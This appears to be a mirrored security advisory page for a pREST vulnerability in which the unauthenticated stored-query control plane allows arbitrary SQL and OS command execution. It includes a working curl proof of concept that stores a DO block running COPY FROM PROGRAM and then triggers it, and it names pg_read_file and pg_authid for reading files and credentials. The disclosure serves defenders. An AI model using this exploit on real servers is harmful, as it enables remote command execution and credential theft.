GHSA-2X9Q-R7J9-G85F
Missing Authorization on the pREST Stored Query Control Plane Leads to Arbitrary SQL and OS Command Execution
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-2X9Q-R7J9-G85F divulgada · CVSS 9 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
A missing authorization check (CWE-862) lets an unauthenticated attacker store arbitrary SQL in pREST and have pREST execute it. With the documented `queries.storage = "database"` mode, custom query bodies live in the `public.prest_queries` table and run when the matching `/_QUERIES` endpoint is called. No reserved-object list stops the generic table routes from writing that table, and at the shipped access-control defaults `TablePermissions` returns true for every table, so one POST stores the SQL and a second request runs it. The official container images connect as the PostgreSQL superuser, so a single permitted statement reaches the host. pREST already treats this as privileged: its `/_QUERIES/registry` interface requires authentication, a signing key and an administrator allow-list.
Details
`resolveScriptDatabase` returns the verb column verbatim as the script source, with no signature, allow-list or authorship check, and `created_by` is never read on the execution path. Nothing on the write side distinguishes a verb column from an application column:
// adapters/postgres/script_runner.go:85 stored text becomes the statement
return adapters.ScriptSource{Content: content.String}, nil
// adapters/postgres/postgres.go:1792 the only gate on the write route
if !restrict { return true } // every table, no identity consulted
// adapters/postgres/postgres.go:847 any identifier-shaped body key is a column
if !ident.IsValid(key) { return } // write_sql satisfies this
// middlewares/query_stack.go:28 execution chain, empty at the defaults
requireAuth := qc.Restrict || cfg.AuthEnabled // both false by defaultBoth paths prepare the statement, so stacking and a bare `COPY ... FROM PROGRAM` are refused and exactly one utility statement is permitted, which makes `DO $$ ... $$` the primitive and leaves only the inner `COPY` needing superuser. The read verb is wrapped in `SELECT jsonb_agg(s) FROM (...) s`, so it carries no utility statement but still reaches `pg_read_file` and `pg_authid`.
Affected product: pREST (prest/prest), `prestd`, the generic table routes and `/_QUERIES/{location}/{script}`
Affected versions: verified on v2.4.2 and on `main` at `b84da9b48fc5`; the storage mode is documented from v2.2.0, so every release shipping it is believed affected where `queries.storage = "database"`
Proof of concept
With `queries.storage = "database"` and the shipped access-control defaults, no credentials are required:
$ curl -s -X POST http://target:3000/prest/public/prest_queries -H 'Content-Type: application/json' \
-d '{"location":"rpt","name":"d","write_sql":"DO $$ BEGIN CREATE TABLE public.p(l text); EXECUTE $c$COPY public.p FROM PROGRAM '"'"'id'"'"'$c$; END $$"}'
HTTP/1.1 201 Created
$ curl -s -X POST http://target:3000/_QUERIES/rpt/d
{"rows_affected":0}
$ curl -s http://target:3000/prest/public/p
[{"l": "uid=999(postgres) gid=999(postgres) groups=999(postgres)"}]The same statement sent as an ordinary column value is stored as text and never executed, proving the defect is the queries table and not the write access public mode grants by design.
Impact
Missing authorization (CWE-862) on a control-plane object, leading to code injection (CWE-94) and OS command injection (CWE-78). Under the superuser role both shipped compose files create, programs execute on the database host and their output returns over the same API, giving file read, credential theft and lateral movement (confidentiality, integrity: high); the stored row re-executes on every later call and can destroy data (availability: high). A non-superuser role is refused `COPY ... FROM PROGRAM`, `pg_read_file` and DDL, bounding impact to arbitrary SQL within its grants. `access.restrict` blocks new rows but not stored ones, and `queries.restrict` is bypassed by overwriting a permitted script.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/prest/prest |
Sin parche | — | — | v1.5.5 afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/prest/prest/security/advisories/GHSA-2x9q-r7j9-g85fLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
